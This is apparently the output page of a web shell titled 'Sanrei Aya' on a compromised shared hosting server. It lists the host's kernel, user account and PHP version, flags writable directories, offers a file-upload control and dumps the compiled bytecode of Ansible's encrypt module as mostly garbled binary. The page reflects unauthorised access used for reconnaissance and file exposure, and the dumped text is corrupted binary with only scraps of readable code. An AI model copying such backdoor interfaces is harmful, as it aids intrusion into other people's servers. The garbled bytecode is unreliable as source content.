Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /lib/python3.9/site-packages/ansible/utils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3.9/site-packages/ansible/utils/__pycache__/encrypt.cpython-39.opt-1.pyc
a

�)g)�
@s�ddlmZmZmZeZddlZddlZddlZddl	Z	ddl
Z
ddlmZddl
mZddlmZmZddlmZddlmZmZddlmZdZZd	ZZzXddlZddlZdd
l m!Z!m"Z"zddl#m$Z$Wne%y�ddl&m$Z$Yn0dZWn*e'�y"Z(ze(ZWYdZ([(n
dZ([(00zddl)Z)dZWn*e'�y^Z(ze(ZWYdZ([(n
dZ([(00e�Z*d
gZ+e�,�Z-dZ.e.ej/dfdd�Z0ddd�Z1Gdd�de2�Z3Gdd�de3�Z4Gdd�de3�Z5ddd�Z6ddd
�Z7dS) �)�absolute_import�division�print_functionN)�
namedtuple)�	constants)�AnsibleError�AnsibleAssertionError)�	text_type)�to_text�to_bytes)�DisplayF)�
HasRawSalt�
PrefixWrapper)�bcrypt64T�
do_encrypt�csXt�t�std�t��f��|dur0t���n
t�|��d���fdd�t|�D��S)aReturn a random password string of length containing only chars

    :kwarg length: The number of characters in the new password.  Defaults to 20.
    :kwarg chars: The characters to choose from.  The default is all ascii
        letters, ascii digits, and these symbols ``.,:-_``
    z%s (%s) is not a text_typeN�c3s|]}����VqdS�N)�choice)�.0Zdummy��charsZrandom_generator��9/usr/lib/python3.9/site-packages/ansible/utils/encrypt.py�	<genexpr>A�z"random_password.<locals>.<genexpr>)	�
isinstancer	r�type�randomZSystemRandomZRandom�join�range)�lengthrZseedrrr�random_password3s


r"�cCstjtjd}t||d�S)zhReturn a text string suitable for use as a salt for the hash functions we use to encrypt passwords.
    z./)r!r)�stringZ
ascii_letters�digitsr")r!Z
salt_charsrrr�random_saltDsr&c
@sheZdZedgd��Zedddddd�eddd	d
dd�eddd
ddd�edddddd�d�Zdd�ZdS)�BaseHash�algo)�crypt_id�	salt_size�implicit_rounds�
salt_exact�implicit_ident�1r#NFZ2b��T�5�i�)�6i�
)Z	md5_crypt�bcryptZsha256_cryptZsha512_cryptcCs
||_dSr)�	algorithm��selfr5rrr�__init__VszBaseHash.__init__)�__name__�
__module__�__qualname__rr(�
algorithmsr8rrrrr'Ms�r'csFeZdZ�fdd�Zddd�Zdd�Zdd	�Zd
d�Zdd
�Z�Z	S)�	CryptHashcsjtt|��|�ts tdtd��tj�d�r4td��||j	vrLtd|j
��tjddd�|j	||_
dS)	NzYcrypt.crypt cannot be used as the 'crypt' python library is not installed or is unusable.��orig_exc�darwinzKcrypt.crypt not supported on Mac OS X/Darwin, install passlib python module�+crypt.crypt does not support '%s' algorithmz�Encryption using the Python crypt module is deprecated. The Python crypt module is deprecated and will be removed from Python 3.13. Install the passlib library for continued encryption functionality.g\��(\@)�version)�superr=r8�	HAS_CRYPTr�CRYPT_E�sys�platform�
startswithr<r5�displayZ
deprecated�	algo_datar6��	__class__rrr8[s
�zCryptHash.__init__NcCs0|�||�}|�|�}|�|�}|�||||�Sr)�_salt�_rounds�_ident�_hash�r7�secret�saltr*�rounds�identrrr�hashqs

zCryptHash.hashcCsr|p
|jj}|pt|�}t�d|�r,td��|jjrNt|�|jjkrNtd��n |jjsnt|�|jjkrntd��|S)Nz[^./0-9A-Za-z]zinvalid characters in saltzinvalid salt size)rJr*r&�re�searchrr,�len)r7rSr*�retrrrrMws
zCryptHash._saltcCs||jjkrdS|SdSr)rJr+)r7rTrrrrN�szCryptHash._roundscCs|s|jjS|jdkr|SdS�Nr4)rJr)r5)r7rUrrrrO�s

zCryptHash._identc	
Cs�d}|rd|}|r |d|7}|d|7}zt�||�}d}Wn,tyl}zd}|}WYd}~n
d}~00|s�td|j|d��|S)Nrz$%sz
$rounds=%drAr>)�crypt�OSErrorrr5)	r7rRrSrTrUZ
saltstring�resultr?�errrrP�s$�zCryptHash._hash)NNNN)
r9r:r;r8rVrMrNrOrP�
__classcell__rrrKrr=Zs
r=csFeZdZ�fdd�Zddd�Zdd�Zdd	�Zd
d�Zdd
�Z�Z	S)�PasslibHashcsZtt|��|�ts$td|td��zttj|�|_	Wnt
yTtd|��Yn0dS)Nz6passlib must be installed and usable to hash with '%s'r>z'passlib does not support '%s' algorithm)rCrar8�PASSLIB_AVAILABLEr�	PASSLIB_E�getattr�passlibrV�
crypt_algo�	Exceptionr6rKrrr8�szPasslibHash.__init__NcCs2|�|�}|�|�}|�|�}|j|||||d�S)N�rSr*rTrU)�_clean_salt�
_clean_rounds�_clean_identrPrQrrrrV�s


zPasslibHash.hashcCs:d}|s(|j|jvr$|j�|j�jS|S|jdkr6|S|Sr[)r5r<�getr-)r7rUrZrrrrk�s
zPasslibHash._clean_identcCs^|sdStt|jt�r|jjn|jt�r8t|ddd�}nt|ddd�}|jdkrZt	�
|�}|S)N�ascii�strict)�encoding�errorsr4)�
issubclassrrfr�wrappedr
rr
r5rZ
repair_unused)r7rSrZrrrri�s 

zPasslibHash._clean_saltcCs.|j�|j�}|r|S|r&|jr&|jSdSdSr)r<rlr5r+)r7rTrJrrrrj�s
zPasslibHash._clean_roundsc	
Cs�i}|r||d<|r||d<|r(||d<|r4||d<zZt|jd�r\|jjfi|���|�}n0t|jd�r~|jj|fi|��}ntdtj��Wn0ty�}ztd|d	��WYd}~n
d}~00|s�td
|j	��t
|dd�S)
NrSr*rTrUrV�encryptz*installed passlib version %s not supportedzCould not hash the secret.r>z"failed to hash with algorithm '%s'rn)rp)�hasattrrfZusingrVrsrre�__version__�
ValueErrorr5r
)	r7rRrSr*rTrUZsettingsr^r_rrrrP�s("zPasslibHash._hash)NNNN)
r9r:r;r8rVrkrirjrPr`rrrKrra�s

racCsHtrt|�j|||||d�Str8t|�j|||||d�Stdtd��dS)NrhzFUnable to encrypt nor hash, either crypt or passlib must be installed.r>)rbrarVrDr=rrE)rRr5rSr*rTrUrrr�passlib_or_crypt
s
rwcCst|||||d�S)N)r*rSrU)rw)r^rsr*rSrUrrrrs)r#)NNNN)NNN)8Z
__future__rrrrZ
__metaclass__ZmultiprocessingrrWr$rF�collectionsrZansibler�CZansible.errorsrrZansible.module_utils.sixr	Zansible.module_utils._textr
rZansible.utils.displayrrcrErDrbreZpasslib.hashZpasslib.utils.handlersr
rZpasslib.utils.binaryr�ImportErrorZ
passlib.utilsrgr_r\rI�__all__�LockZ_LOCKZDEFAULT_PASSWORD_LENGTHZDEFAULT_PASSWORD_CHARSr"r&�objectr'r=rarwrrrrr�<module>sR
	
U[


Yohohohohohooho | Sanrei Aya